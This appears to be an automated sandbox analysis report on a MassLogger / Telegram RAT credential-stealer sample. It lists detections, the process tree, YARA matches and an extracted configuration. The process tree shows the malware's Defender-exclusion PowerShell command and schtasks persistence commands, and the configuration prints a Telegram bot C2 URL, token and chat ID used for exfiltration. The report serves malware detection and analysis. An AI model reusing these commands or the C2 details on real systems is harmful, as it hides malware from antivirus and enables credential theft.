Edit tour

Windows Analysis Report
UOEAjWmusE.exe

Overview

General Information

Sample name:	UOEAjWmusE.exe renamed because original name is a hash value
Original sample name:	24d731e94d2250181a75707739b145da491194c5a6bfd29fd93ab276bb106601.exe
Analysis ID:	1631784
MD5:	ef9af793956c447b2763842821d3fbad
SHA1:	99f2309031063e0231a4d278b92d07f6ba87162a
SHA256:	24d731e94d2250181a75707739b145da491194c5a6bfd29fd93ab276bb106601
Tags:	exeuser-adrian__luca
Infos:

Detection

MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

UOEAjWmusE.exe (PID: 6704 cmdline: "C:\Users\user\Desktop\UOEAjWmusE.exe" MD5: EF9AF793956C447B2763842821D3FBAD)

powershell.exe (PID: 2108 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3184 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 2112 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

UOEAjWmusE.exe (PID: 2304 cmdline: "C:\Users\user\Desktop\UOEAjWmusE.exe" MD5: EF9AF793956C447B2763842821D3FBAD)

UOEAjWmusE.exe (PID: 2992 cmdline: "C:\Users\user\Desktop\UOEAjWmusE.exe" MD5: EF9AF793956C447B2763842821D3FBAD)

MpCmdRun.exe (PID: 2304 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 1360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

gJdonuKfIrqN.exe (PID: 3552 cmdline: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe MD5: EF9AF793956C447B2763842821D3FBAD)

schtasks.exe (PID: 1224 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

gJdonuKfIrqN.exe (PID: 1616 cmdline: "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe" MD5: EF9AF793956C447B2763842821D3FBAD)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7589629165:AAFGWVS6kZwkIgQczX-gx5tFmWDO1tfayU0", "Telegram Chatid": "7791468448"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xdfb7:$a1: get_encryptedPassword 0xe2df:$a2: get_encryptedUsername 0xdd52:$a3: get_timePasswordChanged 0xde73:$a4: get_passwordField 0xdfcd:$a5: set_encryptedPassword 0xf929:$a7: get_logins 0xf5da:$a8: GetOutlookPasswords 0xf3cc:$a9: StartKeylogger 0xf879:$a10: KeyLoggerEventArgs 0xf429:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3a3c7:$a1: get_encryptedPassword 0x511e7:$a1: get_encryptedPassword 0x3a6ef:$a2: get_encryptedUsername 0x5150f:$a2: get_encryptedUsername 0x3a162:$a3: get_timePasswordChanged 0x50f82:$a3: get_timePasswordChanged 0x3a283:$a4: get_passwordField 0x510a3:$a4: get_passwordField 0x3a3dd:$a5: set_encryptedPassword 0x511fd:$a5: set_encryptedPassword 0x3bd39:$a7: get_logins 0x52b59:$a7: get_logins 0x3b9ea:$a8: GetOutlookPasswords 0x5280a:$a8: GetOutlookPasswords 0x3b7dc:$a9: StartKeylogger 0x525fc:$a9: StartKeylogger 0x3bc89:$a10: KeyLoggerEventArgs 0x52aa9:$a10: KeyLoggerEventArgs 0x3b839:$a11: KeyLoggerEventArgsEventHandler 0x52659:$a11: KeyLoggerEventArgsEventHandler
00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xfc4f:$a1: get_encryptedPassword 0x26a6f:$a1: get_encryptedPassword 0x3d68f:$a1: get_encryptedPassword 0xff77:$a2: get_encryptedUsername 0x26d97:$a2: get_encryptedUsername 0x3d9b7:$a2: get_encryptedUsername 0xf9ea:$a3: get_timePasswordChanged 0x2680a:$a3: get_timePasswordChanged 0x3d42a:$a3: get_timePasswordChanged 0xfb0b:$a4: get_passwordField 0x2692b:$a4: get_passwordField 0x3d54b:$a4: get_passwordField 0xfc65:$a5: set_encryptedPassword 0x26a85:$a5: set_encryptedPassword 0x3d6a5:$a5: set_encryptedPassword 0x115c1:$a7: get_logins 0x283e1:$a7: get_logins 0x3f001:$a7: get_logins 0x11272:$a8: GetOutlookPasswords 0x28092:$a8: GetOutlookPasswords 0x3ecb2:$a8: GetOutlookPasswords
00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x243cd7:$a1: get_encryptedPassword 0x243fff:$a2: get_encryptedUsername 0x243a72:$a3: get_timePasswordChanged 0x243b93:$a4: get_passwordField 0x243ced:$a5: set_encryptedPassword 0x245649:$a7: get_logins 0x2452fa:$a8: GetOutlookPasswords 0x2450ec:$a9: StartKeylogger 0x245599:$a10: KeyLoggerEventArgs 0x245149:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: UOEAjWmusE.exe PID: 6704	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 6704	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 6704	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 6704	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 6704	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 6704	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e25b:$a1: get_encryptedPassword 0xa518d:$a1: get_encryptedPassword 0x3e574:$a2: get_encryptedUsername 0xa53f0:$a2: get_encryptedUsername 0x3e00a:$a3: get_timePasswordChanged 0xa4f4f:$a3: get_timePasswordChanged 0x3e12b:$a4: get_passwordField 0xa5064:$a4: get_passwordField 0x3e271:$a5: set_encryptedPassword 0xa51a3:$a5: set_encryptedPassword 0x3fb74:$a7: get_logins 0xa65a1:$a7: get_logins 0x3f825:$a8: GetOutlookPasswords 0xa62fe:$a8: GetOutlookPasswords 0x3f617:$a9: StartKeylogger 0xa616c:$a9: StartKeylogger 0x3fac4:$a10: KeyLoggerEventArgs 0xa6506:$a10: KeyLoggerEventArgs 0x3f674:$a11: KeyLoggerEventArgsEventHandler 0xa61c9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: UOEAjWmusE.exe PID: 2992	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 2992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 2992	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 2992	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: UOEAjWmusE.exe PID: 2992	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1bb8f:$a1: get_encryptedPassword 0x1bea8:$a2: get_encryptedUsername 0x1b93e:$a3: get_timePasswordChanged 0x1ba5f:$a4: get_passwordField 0x1bba5:$a5: set_encryptedPassword 0x1d4a8:$a7: get_logins 0x1d159:$a8: GetOutlookPasswords 0x1cf4b:$a9: StartKeylogger 0x1d3f8:$a10: KeyLoggerEventArgs 0x1cfa8:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 3552	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2fd6:$a1: get_encryptedPassword 0x32ef:$a2: get_encryptedUsername 0x2d85:$a3: get_timePasswordChanged 0x2ea6:$a4: get_passwordField 0x2fec:$a5: set_encryptedPassword 0x48ef:$a7: get_logins 0x45a0:$a8: GetOutlookPasswords 0x4392:$a9: StartKeylogger 0x483f:$a10: KeyLoggerEventArgs 0x43ef:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: gJdonuKfIrqN.exe PID: 1616	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 1616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gJdonuKfIrqN.exe PID: 1616	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.UOEAjWmusE.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
7.2.UOEAjWmusE.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.UOEAjWmusE.exe.400000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
7.2.UOEAjWmusE.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
7.2.UOEAjWmusE.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler
7.2.UOEAjWmusE.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25fd7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x262ff:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25d72:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25e93:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25fed:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27949:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x275fa:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x273ec:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x27899:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler 0x27449:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2af83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a481:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x2a78f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data 0x2b587:$a5: \Kometa\User Data\Default\Login Data
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25fd7:$a1: get_encryptedPassword 0x3cbf7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x262ff:$a2: get_encryptedUsername 0x3cf1f:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25d72:$a3: get_timePasswordChanged 0x3c992:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25e93:$a4: get_passwordField 0x3cab3:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25fed:$a5: set_encryptedPassword 0x3cc0d:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27949:$a7: get_logins 0x3e569:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x275fa:$a8: GetOutlookPasswords 0x3e21a:$a8: GetOutlookPasswords
9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2af83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x41ba3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a481:$a3: \Google\Chrome\User Data\Default\Login Data 0x410a1:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x2a78f:$a4: \Orbitum\User Data\Default\Login Data 0x413af:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data 0x2b587:$a5: \Kometa\User Data\Default\Login Data 0x421a7:$a5: \Kometa\User Data\Default\Login Data
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25dd7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x260ff:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25b72:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25c93:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25ded:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27749:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x273fa:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x271ec:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x27699:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler 0x27249:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.3e24210.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.UOEAjWmusE.exe.3e24210.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.3e24210.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.UOEAjWmusE.exe.3e3b030.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2ad83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a281:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x2a58f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data 0x2b387:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
